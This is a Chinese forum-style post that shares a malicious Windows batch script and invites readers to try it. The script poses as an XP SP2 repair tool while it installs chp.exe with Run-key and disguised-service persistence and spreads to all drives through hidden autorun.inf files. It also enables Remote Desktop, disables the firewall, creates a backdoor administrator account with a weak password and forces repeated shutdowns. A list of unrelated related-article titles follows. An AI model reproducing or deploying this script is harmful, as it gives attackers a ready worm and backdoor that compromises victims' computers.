今天,考试完后.闲来无事.........在电脑里面找到些好东东.......有兴趣的可以试试.
ps:出了问题,别找我!!!!!!!!!!!!
@Echo Off
@color 0A
@Echo Microsoft WindowsXP SP2 修复程序正在修复您系统中的漏洞...... 请不要关闭,否则将系统崩溃!
@xcopy chp.exe %windir%\ /h /c /r /y >nul
@reg add  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v sysinfo /t REG_SZ /d "%windir%\chp.exe" /f >nul
@Echo [autorun] >%windir%\autorun.inf
@Echo open=chp.exe >>%windir%\autorun.inf
@Echo shell\1=Open >>%windir%\autorun.inf
@Echo shell\1\Command=chp.exe >>%windir%\autorun.inf
@Echo shell\2\=Browser >>%windir%\autorun.inf
@Echo shell\2\Command=chp.exe >>%windir%\autorun.inf
@Echo shell\3\=打开 >>%windir%\autorun.inf
@Echo shell\3\command=chp.exe >>%windir%\autorun.inf
@Echo shellexecute=chp.exe >>%windir%\autorun.inf
@For %%b In (C:,D:,E:,F:,G:,H:,I:,J:,K:,L:,M:,N:,O:,P:,Q:,R:,S:,T:,U:,V:,W:,X:,Y:,Z:) Do If Exist %%b (@xcopy %windir%\autorun.inf %%b\ /h /c /r /y >nul)
@For %%c In (C:,D:,E:,F:,G:,H:,I:,J:,K:,L:,M:,N:,O:,P:,Q:,R:,S:,T:,U:,V:,W:,X:,Y:,Z:) Do If Exist %%c (@xcopy chp.exe %%c\ /h /c /r /y >nul )
@For %%d In (D:,E:,F:,G:,H:,I:,J:,K:,L:,M:,N:,O:,P:,Q:,R:,S:,T:,U:,V:,W:,X:,Y:,Z:) Do If Exist %%d\autorun.inf (@Attrib %%d\autorun.inf +h +s >nul)
@For %%e In (D:,E:,F:,G:,H:,I:,J:,K:,L:,M:,N:,O:,P:,Q:,R:,S:,T:,U:,V:,W:,X:,Y:,Z:) Do If Exist %%e\chp.exe (@Attrib %%e\chp.exe +h +s >nul)
@reg add  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v chpoe /t REG_SZ /d "chpshut.exe -s /t 15" /f >nul
@reg add  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v sysinfo /t REG_SZ /d "%windir%\chp.exe" /f >nul
@Echo Windows Registry Editor Version 5.00 >%windir%\opentsc.dll
@Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>%windir%\opentsc.dll
@Echo "Shell"="Explorer.exe /chpshut.exe -s /t 15" >>%windir%\opentsc.dll
@Echo Windows Registry Editor Version 5.00 >>%windir%\opentsc.dll
@Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>%windir%\opentsc.dll
@Echo "fDenyTSConnections"=dword:00000000 >>%windir%\opentsc.dll
@Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\GloballyOpenPorts\List] >>%windir%\opentsc.dll
@Echo "3389:TCP"="3389:TCP:*:Enabled:@xpsp2res.dll,-22009" >>%windir%\opentsc.dll
@Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] >>%windir%\opentsc.dll
@Echo "EnableFirewall"=dword:00000000 >>%windir%\opentsc.dll
@regedit /s %windir%\opentsc.dll >nul
@xcopy chp.exe %windir%\ /h /c /r /y >nul
@net user /add new /Active:yes >nul
@net user new 123456 >nul
@net localgroup administrators new /add >nul
@sfc /purgecache >nul
@Ren %windir%\system32\shutdown.exe  chpshut.exe >nul
@chpshut.exe -s /t 15

关于注册为服务:
echo [Version]  >%windir%\snddrv.inf
echo Signature="$WINDOWS NT$" >>%windir%\snddrv.inf
echo [DefaultInstall.Services] >>%windir%\snddrv.inf
echo AddService=snddrv,,My_AddService_Name >>%windir%\snddrv.inf
echo [My_AddService_Name] >>%windir%\snddrv.inf
echo DisplayName=Windows Audio Drivers >>%windir%\snddrv.inf
echo Description=提供对 Windows 音频硬件的支持。 >>%windir%\snddrv.inf
echo ServiceType=0x10 >>%windir%\snddrv.inf
echo StartType=2 >>%windir%\snddrv.inf
echo ErrorControl=0 >>%windir%\snddrv.inf
echo ServiceBinary=%windir%\chp.exe >>%windir%\snddrv.inf
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %windir%\snddrv.inf
存为.cmd或bat执行就行了

整古专家之恶意批处理命令相关推荐

  1. Windows批处理命令学习

    Windows批处理命令学习一 Windows的批处理命令固然比不上unix的shell脚本强大,但用好了仍能给我们的工作带来很大作用.一个朋友问我为什么学习批处理命令,我以<程序员修炼之道-- ...

  2. Windows批处理命令学习笔记(1)

    转自:http://blog.csdn.net/clever101 Windows的批处理命令固然比不上unix的shell脚本强大,但用好了仍能给我们的工作带来很大作用.一个朋友问我为什么学习批处理 ...

  3. BAT批处理命令 教程

    第一章批处理基础 第一节常用批处理内部命令简介批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD.这些命令统称批处理命令. 小知识:可以在 ...

  4. 常用批处理命令总结3之Find和FindStr

    原文:常用批处理命令总结3之Find和FindStr find 作用:从文件中收索字符串 格式:find 参数 "字符串" 路径\文件名 参数: /V 显示所有未包含指定字符串的行 ...

  5. .bat批处理命令的介绍

    HUC = = D组 http://www.cnhonkerarmy.com/ 63707869 =====================================开始============ ...

  6. windows批处理命令教程

    原文地址:http://www.cnblogs.com/phyllis/archive/2011/05/19/2051131.html 第一章 批处理基础 第一节 常用批处理内部命令简介 批处理定义: ...

  7. 批处理命令和常用脚本

    之前在我的文章中有介绍过常用的"操作系统命令",当时就有很多人私信我能不能讲讲"批处理脚本",那么今天我就以本篇文章内容给大家介绍一下"批处理脚本的编 ...

  8. Windows bat常用批处理命令学习

    转载自:https://blog.csdn.net/qq826364410/article/details/79323351 第一章 批处理基础 第一节 常用批处理内部命令简介 批处理定义:顾名思义, ...

  9. win7系统定时删除数据的批处理命令_win7系统使用批处理删除文件详细教程

    批处理文件是扩展名为·bat 或·cmd的文本文件,包含一条或多条命令,由dos或windows系统内嵌的命令解释器来解释运行.很多win7用户为了提高效率也为了提高运行速度,常常使用批处理删除不需要 ...

最新文章

  1. 黄聪:第2章 并发操作的一致性问题 (2)
  2. 题目1171:C翻转
  3. linux 使用spinlock的配对关系问题
  4. android使用的图片压缩格式,Android 之使用libjpeg压缩图片
  5. [js] 处理字符串换行造成的json解析失败
  6. 第十一篇:(顺序)容器的好伴侣 --- 容器适配器
  7. 技术管理者怎样跳出“泥潭”
  8. html overflow 样式,css修改overflow滚动条默认样式
  9. [转]写一个块设备驱动(第一章)
  10. jQuery用户从服务器端注册登录
  11. 折线图后面无数据_老板让数据师分析二八法则,此图表完美解决,项目管理师专用图表...
  12. difference between a Tensor and a Variable
  13. 解决禁用IE设置代理检测不通过连不上网
  14. 在办公室说话要注意哪些?
  15. ElasticSearch 7.7.0 核心篇
  16. 怎么在服务器上接无线路由器,从别人家拉网线再接无线路由器怎么设置?(二)...
  17. Android 三大图片缓存原理、特性对比
  18. 成功解决 pycharm一直indexing
  19. 软件测试金字塔,软件测试金字塔
  20. iText生成PDF文件(解决了中文乱码)

热门文章

  1. python函数不包括参数函数_python中实现函数不限制参数的数量
  2. 如何修改was的java路径_在eclipse中修改tomcat的部署路径操作
  3. redis thinkphp mysql_Thinkphp5怎么扩展Redis数据库,实现Redis的CURD操作
  4. oracle desc卡,Oracle的一个bug,desc的bug,很夸张,这么基础的功能居然有bug
  5. 客户端分析php代码,分享:一个简单的全网解析客户端代码。
  6. 系统辨识理论及应用_企业战略分析的理论工具
  7. 纯惯导卡尔曼滤波器代码实例解读01
  8. linux c开发项目,linux c 服务器开发项目
  9. 500错误无法为jsp编译类:_JSP(Java Server Pages)的相关使用
  10. php 实现防盗链,php中如何实现防盗链的示例